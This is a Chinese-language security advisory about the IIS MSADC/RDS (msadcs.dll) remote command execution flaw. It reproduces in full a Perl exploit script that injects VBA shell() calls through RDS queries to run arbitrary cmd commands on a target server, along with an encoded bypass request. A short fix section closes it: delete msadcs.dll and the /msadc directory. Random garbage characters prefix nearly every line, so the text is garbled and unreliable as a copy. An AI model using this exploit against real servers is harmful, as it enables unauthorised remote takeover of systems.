IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
G`Nw]_
Z_ ^w60AqR8 涉及程序：
HcsV q+ Microsoft NT server
* 9^8NY] ahg:mlaob 描述：
A'DFY { 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
I)Xf4F S@ ]P0%S@] 详细：
CO='[ 1"_5 如果你没有时间读详细内容的话，就删除:
g Ed A
hfx c:\Program Files\Common Files\System\Msadc\msadcs.dll
e0zP LU} 有关的安全问题就没有了。
Z8 # nu 7~e," ^>T 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
@M5 +12FYt Lt't 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
N}?| ik 关于利用ODBC远程漏洞的描述，请参看:
GfE>?mG d:(Ex^^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm L,[Q/ $S8 ny5 P*yWEh 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
[iub}e0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp S4x9k{Xn Q)DEcx-|, 这里不再论述。
ca g 5w~Px .N X9A b 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
G%
tlV&In $[>{s9E /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&<V U}c^! 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
qzUiBwUi@ y2jv84
M S hI1f #将下面这段保存为txt文件，然后: "perl -x 文件名"
.~f )4'T 9 R^l0B u]X #!perl
'"B #
MJXnAIG?2 # MSADC/RDS 'usage' (aka exploit) script
6]brL.eGj #
MXaF q K<Y # by rain.forest.puppy
fEHFlgN3Ap #
&B{zS K$N # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Qn* l,Z]US # beta test and find errors!
-V/y~/]J _z@/~M( use Socket; use Getopt::Std;
NfV|c~ ?d getopts("e:vd:h:XR", \%args);
v -}f
P d @R7b^#g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
E(~7NRRm 4&mY-N7A if (!defined $args{h} && !defined $args{R}) {
JbPk C *. print qq~
dy&G~F28 Usage: msadc.pl -h <host> { -d <delay> -X -v }
,hn#DJ) -h <host> = host you want to scan (ip or domain)
XIInI -d <seconds> = delay between calls, default 1 second
7;E D U -X = dump Index Server path table, if available
@]l|-xGCWn -v = verbose
* ,a F-
-e = external dictionary file for step 5
0= $ / q<&1,^ A Or a -R will resume a command session
.4zzPD$1 jJ#D`iog5 ~; exit;}
g0B] ;Y>( d&+]@ Ii $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
z% 8`F%2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
d%7?913 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
COh#/- `\1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
q\EYsN </; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!mlfG "FE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
hVz yvpw @_ %RQO_X if (!defined $args{R}){ $ret = &has_msadc;
cMY}Y
[2c die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
rN}pi@ &
kC print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/~NX<Ye& . "cmd /c ";
A6z ,6v 6 $in=<STDIN>; chomp $in;
d$$5&a $command="cmd /c " . $in ;
q} e#L6cM >(RkoExO/ if (defined $args{R}) {&load; exit;}
_
$F=A w+)${|N ?
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<:9 ts@B &try_btcustmr;
.LDZqWr- +e{ui + print "\nStep 2: Trying to make our own DSN...";
fd' kv &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+ ``vnC r CPIz< print "\nStep 3: Trying known DSNs...";
%'KRbY &known_dsn;
\?n6l7*t> ]Y [N=G print "\nStep 4: Trying known .mdbs...";
2I B{FO/ &known_mdb;
p1UloG\ a=MN:s?Fc0 if (defined $args{e}){
0s;~9> print "\nStep 5: Trying dictionary of DSN names...";
xS|9Gk &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_.s ,gX Qt.*Z;Gs print "Sorry Charley...maybe next time?\n";
' [$KG exit;
,JwX*L<: ~J].~^[ ##############################################################################
y0xBNhev ~0PzRS ^o sub sendraw { # ripped and modded from whisker
>$m<R & sleep($delay); # it's a DoS on the server! At least on mine...
IWv(G Qx my ($pstr)=@_;
g{N}]_%Uh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&~_F2]oM die("Socket problems\n");
-}6ew@GE if(connect(S,pack "SnA4x8",2,80,$target)){
IW\^-LI. select(S); $|=1;
KU8,8:yY print $pstr; my @in=<S>;
@aS)=|Ls\ select(STDOUT); close(S);
0F)v9EK(W4 return @in;
PysDDU}v } else { die("Can't connect...\n"); }}
yQhO-jT $ar^U ##############################################################################
+R*DE5dz dj0%?g> sub make_header { # make the HTTP request
!<];N0nt# my $msadc=<<EOT
%+'E x]B POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{ "]!zL User-Agent: ACTIVEDATA
NJBSVC b Host: $ip
irlFB#.. Content-Length: $clen
D\Ez~.H Connection: Keep-Alive
XM\\Imw >w. ;A%|N ADCClientVersion:01.06
(G|! { Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}TTghE! <+*0{8?0
--!ADM!ROX!YOUR!WORLD!
y(|#!m?@ Content-Type: application/x-varg
T ~3{$ Content-Length: $reqlen
zmhc\M ?z &{j!!L L EOT
%,[,mW4l ; $msadc=~s/\n/\r\n/g;
i]Mem M- return $msadc;}
B{/og*xd*1 `4K|L6 ##############################################################################
F~Dof({: GQ1/ pys sub make_req { # make the RDS request
e =&~6bs1U my ($switch, $p1, $p2)=@_;
~xqiasE#K my $req=""; my $t1, $t2, $query, $dsn;
&PJ;B)b !.UE} ^TV if ($switch==1){ # this is the btcustmr.mdb query
*O[/KR% $query="Select * from Customers where City=" . make_shell();
B?B OAH $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
UNDl&C2vz $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
p$,G`'l }# s{." elsif ($switch==2){ # this is general make table query
Rw'}>?k] $query="create table AZZ (B int, C varchar(10))";
8&EJ. CQ $dsn="$p1";}
3 k'Bje?9~ [63\2{_^v elsif ($switch==3){ # this is general exploit table query
4. R(`#f $query="select * from AZZ where C=" . make_shell();
,&BNN]k $dsn="$p1";}
+2iD9X{$MX 1{N+B#*<[X elsif ($switch==4){ # attempt to hork file info from index server
.2%t3ul[ $query="select path from scope()";
=AO
( $dsn="Provider=MSIDXS;";}
]njNSn mh8fJ6j29N elsif ($switch==5){ # bad query
u[**,.Ecg $query="select";
T U 6s~ $dsn="$p1";}
>5t!
Xt eWFkUjz $t1= make_unicode($query);
3@" :& $t2= make_unicode($dsn);
AUD) =a> $req = "\x02\x00\x03\x00";
@XJ7ff& $req.= "\x08\x00" . pack ("S1", length($t1));
n$2oM5< $req.= "\x00\x00" . $t1 ;
WK$\# >T $req.= "\x08\x00" . pack ("S1", length($t2));
3VLwY!2: $req.= "\x00\x00" . $t2 ;
?kR1T0lKkE $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
NFTv4$5d return $req;}
rXW.F'=K6 4w+AOWjd ##############################################################################
qy'-'UlIr K9zr] 7;th sub make_shell { # this makes the shell() statement
vb^fx$V return "'|shell(\"$command\")|'";}
rN 9qH 9]v,3'QI ##############################################################################
_. 9 5>` bD{tsxm[9 sub make_unicode { # quick little function to convert to unicode
?7fqWlB my ($in)=@_; my $out;
4~Qnhv7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
CcUF)$kz return $out;}
;i[JCNiS\ 2-@ )'6"n ##############################################################################
z%E( o%l8 Tw';;euw sub rdo_success { # checks for RDO return success (this is kludge)
ZbC$Fk,,I& my (@in) = @_; my $base=content_start(@in);
^N^G?{EV/# if($in[$base]=~/multipart\/mixed/){
sUlf4<_zW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(m'-1wX. return 0;}
#HV5M1m b )n)AmNpq
##############################################################################
X{ x(p ;h1hz^Wq sub make_dsn { # this makes a DSN for us
ou-#+Sd d my @drives=("c","d","e","f");
,marNG print "\nMaking DSN: ";
:,l16{^ foreach $drive (@drives) {
ZV--d'YiEm print "$drive: ";
sgO au\E my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
E#_/#J]UQn "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
no8\Oees . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
"_&ZRcd* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Y$>NsgQn6 return 0 if $2 eq "404"; # not found/doesn't exist
/Pe x tj< if($2 eq "200") {
E0I/] 0 foreach $line (@results) {
_]@u)$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
$ ,K@xq5 } return 0;}
DY#195H w4P;Z-Cd ##############################################################################
I8! .n /)kJ iV sub verify_exists {
?lkB{-%rQ my ($page)=@_;
@2T8H my @results=sendraw("GET $page HTTP/1.0\n\n");
EPJ>@A>;D return $results[0];}
`V9bd}M%~; H< |}p Z ##############################################################################
(-$ 5YKm j1`<+YT<# sub try_btcustmr {
`^Ll@Cx" my @drives=("c","d","e","f");
&wlD`0v my @dirs=("winnt","winnt35","winnt351","win","windows");
LBq2({=" ftpPrtaP foreach $dir (@dirs) {
a+HK
fK
print "$dir -> "; # fun status so you can see progress
~IYR&GEaUG foreach $drive (@drives) {
{XIpH r print "$drive: "; # ditto
*` mxv0w~( $reqlen=length( make_req(1,$drive,$dir) ) - 28;
kBqgz| jE% $reqlenlen=length( "$reqlen" );
Ye]K 74M. $clen= 206 + $reqlenlen + $reqlen;
b_`h2dUq r^6@Zwox] my @results=sendraw(make_header() . make_req(1,$drive,$dir));
?#GTD? 3d if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9ye!kYF, else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\F fqIc9; G%k&| ##############################################################################
:xHKbWz6j 4AzDWK@/ sub odbc_error {
hdWV vN my (@in)=@_; my $base;
K6-)l
isf my $base = content_start(@in);
<lR:^M[v5< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{J)%6eL? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2OpA1 $n6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sSfP. R $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)PvnB=w y return $in[$base+4].$in[$base+5].$in[$base+6];}
7 q!==P= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$(gL#"T print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
C$0u-Nx8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
bM"?^\a&Q P>rRD`Yy\ ##############################################################################
[R1|=k GU qqo#H O sub verbose {
2H w 7V 3q my ($in)=@_;
A{4,ih" 5 return if !$verbose;
}j2;B 8j print STDOUT "\n$in\n";}
lusUmFm'* Pk;/4jt4 ##############################################################################
| J4sQ!%K g4k3~,=D3 sub save {
Y!45Kio my ($p1, $p2, $p3, $p4)=@_;
7k, BE2]" open(OUT, ">rds.save") || print "Problem saving parameters...\n";
q)9n%- YgP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%\HE1d5; close OUT;}
fZpi+I J:"@S%gy% ##############################################################################
Q>Klkd5( /& | p7 sub load {
. q
-: 3b my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Odwf7 > open(IN,"<rds.save") || die("Couldn't open rds.save\n");
'k]~Q{K$ @p=<IN>; close(IN);
E pO2%|@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@5wc 3y $target= inet_aton($ip) || die("inet_aton problems");
"f
89 print "Resuming to $ip ...";
|hj!NhBe $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
(/nnN4\= if($p[1]==1) {
DzMg^Kp $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
E9mu:T $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
h2x9LPLBxT my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
baD063P; if (rdo_success(@results)){print "Success!\n";}
bK!h{ Rr else { print "failed\n"; verbose(odbc_error(@results));}}
C_>XtcU elsif ($p[1]==3){
oh:9v+ if(run_query("$p[3]")){
%\,9S`0 print "Success!\n";} else { print "failed\n"; }}
_BA; H+M elsif ($p[1]==4){
LI@BB:)[ if(run_query($drvst . "$p[3]")){
?7V~>i8[ print "Success!\n"; } else { print "failed\n"; }}
:QP1! exit;}
yYGs] + $ c-O+~ ##############################################################################
z/"*-+j WPsfl8@D sub create_table {
Bk3\NPa my ($in)=@_;
Pb;c :HeI/ $reqlen=length( make_req(2,$in,"") ) - 28;
7'e sJ)2 $reqlenlen=length( "$reqlen" );
E,tdn#_| $clen= 206 + $reqlenlen + $reqlen;
OnE%D|Tq= my @results=sendraw(make_header() . make_req(2,$in,""));
q++\< \2 return 1 if rdo_success(@results);
n_; s2,2r my $temp= odbc_error(@results); verbose($temp);
5PZ!ZO& return 1 if $temp=~/Table 'AZZ' already exists/;
0sU* 3 r? return 0;}
<$s sU{5 sM MtU@<x ##############################################################################
x5MS#c!7 czIAx1 R9 sub known_dsn {
e`b #,= # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{ rLgyrj$ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
p%meuWV%5 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"G%</G8M "banner", "banners", "ads", "ADCDemo", "ADCTest");
w>9d^kU' vVSDPlN; foreach $dSn (@dsns) {
aOd#f:{y print ".";
<-?C\c~G@ next if (!is_access("DSN=$dSn"));
iii|;v ]+ if(create_table("DSN=$dSn")){
)aGSZ1`/ print "$dSn successful\n";
wHs1ge ( if(run_query("DSN=$dSn")){
ws9IO ?|&G print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L$3 lsu!4n print "Something's borked. Use verbose next time\n";}}} print "\n";}
R 39_! XfE9QA[ ##############################################################################
q 0F6MAXj fWq*Op.]c sub is_access {
AvrvBz[ my ($in)=@_;
.e0)@}Jv8> $reqlen=length( make_req(5,$in,"") ) - 28;
6Ot~Q $reqlenlen=length( "$reqlen" );
{a UTTEu $clen= 206 + $reqlenlen + $reqlen;
S=-$:65 my @results=sendraw(make_header() . make_req(5,$in,""));
Dh8'og)7 my $temp= odbc_error(@results);
siI%6Gn; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`W Xlq#:K return 0;}
>nSt<e +Mijio ##############################################################################
ou-UR5 I[k"I( sub run_query {
:!g|pd[{ag my ($in)=@_;
v
=y
2 $reqlen=length( make_req(3,$in,"") ) - 28;
R`c[ ?U $reqlenlen=length( "$reqlen" );
DNq(\@x[! $clen= 206 + $reqlenlen + $reqlen;
s*la`(x my @results=sendraw(make_header() . make_req(3,$in,""));
u*Xp%vNe return 1 if rdo_success(@results);
&
V>rq'~ ; my $temp= odbc_error(@results); verbose($temp);
1}a4AGAp return 0;}
(&eF E ;c t}_ #N'` ##############################################################################
* '{-!Y =W3
K6w sub known_mdb {
rW L;pM< my @drives=("c","d","e","f","g");
MBg[ h u% my @dirs=("winnt","winnt35","winnt351","win","windows");
lvWwr!w my $dir, $drive, $mdb;
?< b{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
J?3/L&seA . + u
b\ # this is sparse, because I don't know of many
7?R600O A my @sysmdbs=( "\\catroot\\icatalog.mdb",
JXJ+lZmsz "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
u|t l@_ "\\system32\\certmdb.mdb",
1V1I[CxlX "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
70 7( LG o p9dYjG7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_|GbU1Hz "\\cfusion\\cfapps\\forums\\forums_.mdb",
[ -$
Do "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
WuU wd#e "\\cfusion\\cfapps\\security\\realm_.mdb",
u Rko[W( "\\cfusion\\cfapps\\security\\data\\realm.mdb",
&;-zy%#l "\\cfusion\\database\\cfexamples.mdb",
<v0`r2^S{- "\\cfusion\\database\\cfsnippets.mdb",
RX>P-vp "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9(TGkz(NA "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
IANSpWea? "\\cfusion\\brighttiger\\database\\cleam.mdb",
o0 C &ol_ "\\cfusion\\database\\smpolicy.mdb",
1]G )41 "\\cfusion\\database\cypress.mdb",
>E<ib[vK[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
RN(I}]] a "\\website\\cgi-win\\dbsample.mdb",
0mSP "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.fl r "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
O,B\|pd2 ); #these are just
9 5mf foreach $drive (@drives) {
j-e j7 foreach $dir (@dirs){
ac l<dY6 foreach $mdb (@sysmdbs) {
DD$> 3` print ".";
W\kli';jyC if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
y,nmPX?]n print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
VQla.Y if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
aL;!BlU8v print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
z/{X {+Z } else { print "Something's borked. Use verbose next time\n"; }}}}}
\nZB@u;S 12n:)yQy foreach $drive (@drives) {
&Pr\n&9A foreach $mdb (@mdbs) {
Z igv;}# print ".";
[HQ )4xG if(create_table($drv . $drive . $dir . $mdb)){
2 DW @}[G print "\n" . $drive . $dir . $mdb . " successful\n";
v3-'
G gM if(run_query($drv . $drive . $dir . $mdb)){
E7A!,A&> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
m]2xOR_ } else { print "Something's borked. Use verbose next time\n"; }}}}
{=[>N>" }
e NIzI]~ ]X>yZec ##############################################################################
l\s!A&L pIlEoG=[ _ sub hork_idx {
Q>%n&;: print "\nAttempting to dump Index Server tables...\n";
[
/o'l: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
q ;'f3Y $reqlen=length( make_req(4,"","") ) - 28;
|GnTRahV. $reqlenlen=length( "$reqlen" );
ua tU o $clen= 206 + $reqlenlen + $reqlen;
yU
v
YV-7 my @results=sendraw2(make_header() . make_req(4,"",""));
C. j W T1 if (rdo_success(@results)){
&j 4pC$Dj my $max=@results; my $c; my %d;
sApi x=Lr for($c=19; $c<$max; $c++){
, Z"<-%3 $results[$c]=~s/\x00//g;
EG>?>K_D $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!?>V^#c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Era GG"+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
dgw.OXa $d{"$1$2"}="";}
QadguV6| foreach $c (keys %d){ print "$c\n"; }
-G,}f\Cg } else {print "Index server doesn't seem to be installed.\n"; }}
lxhb)]c
^> [%. v;+L ##############################################################################
3gi)QCsk MoIh =rw sub dsn_dict {
:skR6J open(IN, "<$args{e}") || die("Can't open external dictionary\n");
P"vrYo m while(<IN>){
G Dxv2^4 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
A8Ju + next if (!is_access("DSN=$dSn"));
,L/ x \_28 if(create_table("DSN=$dSn")){
|u&cN-}C d print "$dSn successful\n";
P"w\hF if(run_query("DSN=$dSn")){
|H5.2P&9-5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
I/f\m}}ba print "Something's borked. Use verbose next time\n";}}}
So aqmY;+ print "\n"; close(IN);}
Op'a=4x] H -kX-7C ##############################################################################
$`F 9e5}G UPh#YV 0/, sub sendraw2 { # ripped and modded from whisker
Pv'Q3O2<I sleep($delay); # it's a DoS on the server! At least on mine...
,'X"(tpu@ my ($pstr)=@_;
L^+rsxR socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VPUVPq~& die("Socket problems\n");
1^\w7Rew 2 if(connect(S,pack "SnA4x8",2,80,$target)){
q\Y4v Wg print "Connected. Getting data";
C%X O| sP open(OUT,">raw.out"); my @in;
/v R>.' select(S); $|=1; print $pstr;
ZL!u$)(V while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
W$c@C02< close(OUT); select(STDOUT); close(S); return @in;
z:,PwLU } else { die("Can't connect...\n"); }}
y }odTeq C ^Y\?2h1 ##############################################################################
8-2 `S* 4_R|3L sub content_start { # this will take in the server headers
w_(3{P[Iz my (@in)=@_; my $c;
h|qJ{tUWc$ for ($c=1;$c<500;$c++) {
` R[Hxi if($in[$c] =~/^\x0d\x0a/){
TekUY m!G if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
|mb2<! ag{ else { return $c+1; }}}
7j]v_2S` return -1;} # it should never get here actually
~e{ @ 5.g 1 R5 pf ##############################################################################
`%C -7D'? j_Szw
w- sub funky {
NQ9v[gv my (@in)=@_; my $error=odbc_error(@in);
k ka5=u if($error=~/ADO could not find the specified provider/){
]b4WfIu print "\nServer returned an ADO miscofiguration message\nAborting.\n";
*M.xVUPr exit;}
( eN7s_ if($error=~/A Handler is required/){
j6rN t| print "\nServer has custom handler filters (they most likely are patched)\n";
";K w? exit;}
>fPo_@O if($error=~/specified Handler has denied Access/){
ZitM<Qi&y print "\nServer has custom handler filters (they most likely are patched)\n";
/DYyl/ exit;}}
X]0>0=^ <L &EH@T ##############################################################################
* DL7p8 OK [J
h sub has_msadc {
{K,In)4 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4-( kk0]`z my $base=content_start(@results);
~6 6xO9s return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
m#7(< # return 0;}
>Fel) a u!_l/'\ ########################
$]v}X},, ^J'_CA / ;]5X 解决方案：
ht3.e[%'b 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
rpR${%jc 2、移除web 目录: /msadc
